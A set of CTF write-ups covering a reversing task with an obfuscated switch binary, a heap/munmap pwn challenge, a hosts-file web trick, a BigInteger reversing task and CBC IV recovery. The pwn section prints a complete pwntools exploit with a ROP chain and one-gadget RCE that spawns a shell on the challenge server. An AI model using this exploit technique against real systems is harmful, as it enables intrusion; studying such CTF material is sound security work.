This challenge was solved by one of my teammates, vek and me, and the writeup was written by vek.

The Choices binary was bascially a giant switch case in a loop and the executed cases were determined by the user’s input at each iteration.

Based on the user inputs, the binary generated a 56-byte flag from an array of constants that’s the same size. What we needed to figure out is the order in which the switch cases needed to be executed. The flag was compared to the correct flag’s hash at the end, so we would know when we’re right.

The binary was compiled with the clang plugin lib0opspass.so. After reversing the library, we found that it took the original program’s basic blocks and turned them into individual cases of the giant switch statement. The user input for a corresponding switch case was generated by a scramble32 function from the BBs’ ID.

scramble32 used a key generated from a constant seed BAADF00DCAFEBABE3043544620170318 to scramble the BB IDs, but it didn’t change the scrambler’s internal state, so a given (key, ID) pair always gives the same scrambled output. This means that we only had to extract the key and use it to call scramble32() on the first few integers to get the correct input for each BB.

The key could be extracted by running the supplied compilation command on a dummy source in gdb and breaking right before a call to scramble32(). After this, we could extract the scrambling code and write a C program that generated the scrambled version of the numbers from 0 to 1000. It seemed that the number for 0, 1, 2, etc. all matched a possible user input in the binary, so we found the IDs of all the original basic blocks! We still didn’t know the original control flow graph from this, but we assumed that each BB followed one with one smaller ID, so we ran:

cat numbers.txt | ./Choices

And it gave us the flag, so it turned out we were right!

flag{wHy_d1D_you_Gen3R47e_cas3_c0nst_v4lUE_in_7h15_way?}

After reversing the binary it turned out the structure of the challenge is the usual menu system based pwn challenge.

We had the following menus:

• “1 :) Fill your information”
  • It reads your team name to a 20 byte buffer and prints it out. It can be used to leak data from stack if you don’t fill the 20 byte buffer. For example it can be used to leak the heap base address. But we never used this vulnerability in the final exploit.
• “2 :) Upload and parse File”
  • This is where the main functionality lies: you can upload a zlib-compressed PNG image, it will parse its headers, allocate a width*height-sized buffer with mmap, and copies the content into it (but limits the size to the buffer length, so it does not cause overflow). It also puts various metadata into a linked list about these uploaded files, including the decompressed content’s size.
• “3 :) Show File info”
  • Prints out the width, height and “pixels” (bit depth) properties of the chosen file. Not used in the exploit.
• “4 :) Delete File”
  • Deletes a selected file. Munmaps its content (based on the decompressed content’s length), frees it’s metadata and unlinks the item from the linked list. We will use the munmap in the exploit.
• “5 :) Commit task”
  • Creates a thread which prints out every file’s width, height, bit depth. You can only call this method six times. Not used in the exploit, probably just a red herring :)
• “6 :) Monitor File”
  • Create a thread which notifies you if a new file was uploaded. It uses a conditional variable (and mutex) to block until the main thread notifies it.
• 8 - a hidden “backdoor”
  • It’s a gets-based stack overflow, but exits immediately after it overwrites the stack. Although the deinitialization logic runs in the exit call, the stack overflow is still not exploitable this way. It’s obviously there just for misleading us.

There are a few misleading / non-exploitable functionality (including the whole PNG parsing), but there is something fishy going on with the content length calculation when it allocates the buffer based on the width and height instead of the decompressed content length.

Also despite that the PNG is a compressed file format, there is an additional layer of compression which is a hint about that we may have to send a lot of data. As we will see later, our hunch was not unfounded.

If we take a closer look at the buffer allocation, it turns out fast that the allocation size and the length used for munmap can differ.

This is exactly the same situation that my teammate tukan described in one of his ptmalloc fanzine back in 2016, so he could point us into the correct direction right away.

Although the next mapped memory segment after our mmap’d allocation is either the read-only data section of the libc or the guard page before the stack of a thread created by either the 5th or 6th menu item, the munmap can remove them if we use a bigger length than the original allocation was.

So our plan is the following:

• create a long-running thread (with 6th menu item), which will mmap a thread stack (the size is architecture dependent, but was 8MB on x64).
• the thread waits for the condition variable until we upload a new file
• upload a file whose decompressed length is bigger than the allocation size, so munmap will remove the following mmap’d segment too
  • I used the following values: width = 1024, height = 1024, width * height = 1MB, decompressed length = 9MB (1MB my content + 8MB overflow into the thread’s stack)
• delete this file with the 4th menu item
  • although the thread’s stack is unmapped, the thread won’t wake up, so this won’t cause any problem (segmentation fault for example)
• upload a new, fake thread stack (8MB), and putting a ROP chain in the place of the original stack where the execution returns
  • we also have to restore a few variables (like mutex and cond) so the waking up thread won’t crash immediately or behave incorrectly
• the ROP chain does the following:
  • leaks libc address (puts in our case)
  • unlocks the mutex, so the main thread won’t block anymore
  • make the thread sleep forever, so its broken state won’t cause any problems for us (for example race condition)
• we calculate the address of one of the one-gadget-RCEs (thanks to david942j for his tool)
  • calling system did not work for me, probably something broke meanwhile
• we repeat everything from the beginning, but this time we call the one-gadget-RCE in the ROP chain

Executing our plan actually worked and give us a shell.

We found the flag in the /home/uploadcenter/flag file:

flag{M3ybe_Th1s_1s_d1ffer3nt_UAF_Y0U_F1rst_S33n}

Below the whole exploit:

#!/usr/bin/env python2
from pwn import *
import time
import zlib

REMOTE = True

def readMenu():
    print '\n'.join([' < '+x for x in p.recvuntil('1 :) Fill your information', drop=True).strip().split('\n')])
    p.recvuntil('6 :) Monitor File\n')

skipReadMenu = False
    
def cmd(cmdIdx):
    global skipReadMenu
    if skipReadMenu:
        skipReadMenu = False
    else:
        readMenu()
    print '> cmd: %d' % cmdIdx
    p.sendline(str(cmdIdx))
    
def fillInfo(teamName, memberCount):
    cmd(1)
    p.sendlineafter('Your team name : ', teamName)
    p.sendlineafter('Member count : ', str(memberCount))
    
def upload(data):
    cmd(2)
    p.send(p32(len(data)))
    p.send(data)
    
def showFileInfo(fileId):
    cmd(3)
    p.sendlineafter('which file you want to show ?', str(fileId))

def delete(fileId):
    cmd(4)
    p.sendlineafter('which file you want to delete ?', str(fileId))
    
def commitTask():
    cmd(5)
    
def monitorFile():
    cmd(6)

def genPngEx(width, height, colorType, bitDepth, chunks):
    # must be zero, otherwise won't parse png
    comprMethod = 0
    filterMethod = 0
    interlaceMethod = 0

    ihdrLen = 13 # not checked
    with context.local(endian='big'):
        res = '\x89PNG\r\n\x1A\n' + p32(ihdrLen) + 'IHDR' + p32(width) + p32(height) +\
            chr(bitDepth) + chr(colorType) + chr(comprMethod) + chr(filterMethod) + chr(interlaceMethod) + 'A'*4 # crc
        
        for chunk in chunks:
            res += p32(chunk['size']) + 'IDAT' + chunk['data'] + 'A'*4 # crc
            
        res += p32(0) + 'IEND' + 'A'*4 # crc
    
    return res
    
def genPng(width, height, chunks):
    return genPngEx(width, height, 2, 8, [{'size': len(x), 'data': x} for x in chunks])

if REMOTE:
    p = remote("202.120.7.216", 12345)
else:
    p = process('./uploadcenter')
    time.sleep(1)

mutex = 0x60E160
cond = 0x60E1A0
popRdiRet = 0x4038B1
puts = 0x400AF0
gotPuts = 0x60E028
sleep = 0x400C30
mutexUnlock = 0x400BB0

def rop(ropchain, stage2):
    global skipReadMenu
    
    monitorFile()
    p.recvuntil('I will remind you')
    skipReadMenu = True

    delSize = 9*1024*1024# - 8*4096
    print 'delete size = %d' % delSize
    png = genPng(1024, 1024, ['A'*(delSize)])
    print 'payload length = %d' % len(png)
    upload(zlib.compress(png))

    p.recvuntil('New file uploaded, Please check')
    skipReadMenu = True

    delete(1 if stage2 else 0)
    split = 4393

    readMenu()
    skipReadMenu = True

    payload = 'C'*8 + p64(cond) + p64(mutex) + 'F'*8 + 'G'*8 + ropchain + '\0'*(split-8*5-len(ropchain))
    upload(zlib.compress(genPng(8*1024, 1024, ['A'*(8*1024*1024-split) + payload])))

ropchain = \
    p64(popRdiRet) + p64(gotPuts) + p64(puts) +\
    p64(popRdiRet) + p64(mutex) + p64(mutexUnlock) +\
    p64(popRdiRet) + p64(60) + p64(sleep)

rop(ropchain, False)
    
p.recvuntil('byte data\n')
gotLeak = p.recvline()
print 'gotLeak = %r' % gotLeak
if gotLeak.startswith('1 :) Fill your'):
    p.recvuntil('6 :) Monitor File\n')
    gotLeak = p.recvline()

print 'gotLeak = %r' % gotLeak
putsLibc = u64(gotLeak.strip().ljust(8, '\0'))
print 'putsLibc = %016x' % putsLibc

if REMOTE:
    p.sendline('')
    libcBase = putsLibc - 0x7ffff787f990 + 0x7ffff7814000
    oneGadget = libcBase + 0x41374
else:
    system = putsLibc - 0x7ffff7860690 + 0x7ffff7836390 # local ubuntu
    libcBase = putsLibc - 0x7ffff7860690 + 0x7ffff77f1000 # local ubuntu
    oneGadget = libcBase + 0x4526a # local ubuntu

rop(p64(oneGadget), True)

p.interactive()

I opened the webpage from the challenge description: https://52.196.116.69/index.php which resulted in Chrome showing SSL cert error: NET::ERR_CERT_AUTHORITY_INVALID.

I checked the CN of the SSL cert which was: very-secret-area-for-ctf.orange.tw so I created the following entry in my host file:

52.196.116.69 very-secret-area-for-ctf.orange.tw

Then I opened the https://very-secret-area-for-ctf.orange.tw/ URL, which gave me the flag:

hitcon{hihihi, how 4re y0u today?}

While reversing the code it became clear that the most part of the code are for handling BigInteger operations.

The only interestring structure is this, it contains the current digit count of the BigInteger and the digits as dwords (one dword contains one digit 0-9):

00000000 BigInteger      struc ; (sizeof=0x404, mappedto_14)
00000000 length          dd ?
00000004 items           dd 256 dup(?)
00000404 BigInteger      ends

The functions were pretty trivial after finding what’s going on, there were basic BigInteger methods like Add, Subtract, Multiply, Modulo, Remainder, ModPow, GCD, comparisons (Eq, Neq), etc.

The only weird one (0xBDB) was the one which calculated this: (x ** (n!)) % N. (x and n are parameters the function and N is a global constant modulus).

After finished reversing these methods, only main remained which does the following:

• converts N to BigInteger format
  • N = 70175232617155622721369403112218008731727137018442195462238305570433409024579, it can be factorized into (I used factordb.com):
  • p = 208467877680031083617459630285634936973 and
  • q = 336623720633184311690592367893275345423
• calls srand(33177711) and generates 256 rand() numbers and converts them to BigInteger
• runs the following loop:

for(flagCounter = 1; ; flagCounter++){
   vec6 = (rand[0] ** (flagCounter!)) - 1;
   for(j = 1; j <= 255; ++j){
       vec6 = gcd(vec6, (rand[j] ** (flagCounter!)) - 1);
       if(vec6 == 1) 
            break;
   }
   
   if(vec6 != 1)
       break;
}

printf("flag is: hitcon{%lx%016lx}\n", *((_QWORD *)&flagCounter + 1), (_QWORD)flagCounter);

Of course it will never finish as it would take too long time.

So I asked my cryptopal (@ngg) how to solve this and he said, let’s get the factors of (p-1)*(q-1) and probably the largest one will the flag.

These were the factors:

2^3 * 3 * 13 * 17 * 19^2 * 20543 * 692191 * 735733 * 12243443 * 
3981441750675421269733 * 71865286827970831870811761

So I tried to submit: hitcon{3b72110158a74799635e71} (71865286827970831870811761 = 0x3b72110158a74799635e71) which was not the correct flag :(

Then I tried the second largest factor (3981441750675421269733) which gave us the correct flag:

hitcon{d7d59a91a825da0ee5}

After checking the source code of the challenge, it was clear that the flag was used for two purposes: as AES key and as an IV.

AES is secure enough not to crack the key, but we can find out the IV with the following ‘trick’: (the images at https://en.wikipedia.org/wiki/Block_cipher_mode_of_operation#CBC is always a good source of material to help thinking through what happens)

I replaced the first block of example encrypted text with the second block (so the blocks were in the following order now: c2|c2|c3), I kept the third block, so the padding remained correct and I decrypted it.

Encrypted: e04f07e4dcd6cf096b47ba48b357814ee04f07e4dcd6cf096b47ba48b357814e4a89ef1cfad33e1dd28b892ba7233285
Decrypted: 7e009b446efd0ba5221b7f1a13f34ce9cc7bf2c48246e4e51f7cb53eda8495e36865206c617a7920646f67

If we write down how the encrypted blocks created, we get this (p = plaintext, c = ciphertext, ^ = xor, E = AES encrypt, || = block boundary):

original ciphertext: c1 = E(p1 ^ IV)  ||  c2 = E(p2 ^ c1)  ||  c3 = E(p3 ^ c2)
modified ciphertext: c2 = E(p2 ^ c1)  ||  c2 = E(p2 ^ c1)  ||  c3 = E(p3 ^ c2)
decrypted modified ciphertext: dec1 = p2 ^ c1 ^ IV  ||  ...

So if we want to know the IV (=FLAG) we can do this this way: IV = dec1 ^ p2 ^ c1 as we know all the ‘variables’.

Here is my C# code which do exactly this:

static void LetsDecrypt()
{
    var cSample = Conversion.HexToBytes("4a5b8d0034e5469c071b60000ca134d9e04f07e4dcd6cf096b47ba48b357814e4a89ef1cfad33e1dd28b892ba7233285");
    var pSample = Encoding.Default.GetBytes("The quick brown fox jumps over the lazy dog");
    var cFake = Conversion.HexToBytes("e04f07e4dcd6cf096b47ba48b357814ee04f07e4dcd6cf096b47ba48b357814e4a89ef1cfad33e1dd28b892ba7233285");
    var pFake = Conversion.HexToBytes("7e009b446efd0ba5221b7f1a13f34ce9cc7bf2c48246e4e51f7cb53eda8495e36865206c617a7920646f67".Replace(" ", ""));
    var block2input = CryptoUtils.Xor(cSample.Take(16).ToArray(), pSample.Skip(16).Take(16).ToArray());
    var dec1 = pFake.Take(16).ToArray(); // c1 ^ p2 ^ flag

    var flag = Encoding.Default.GetString(CryptoUtils.Xor(dec1, block2input));
}

The flag was

hitcon{R4nd0m IV plz XD}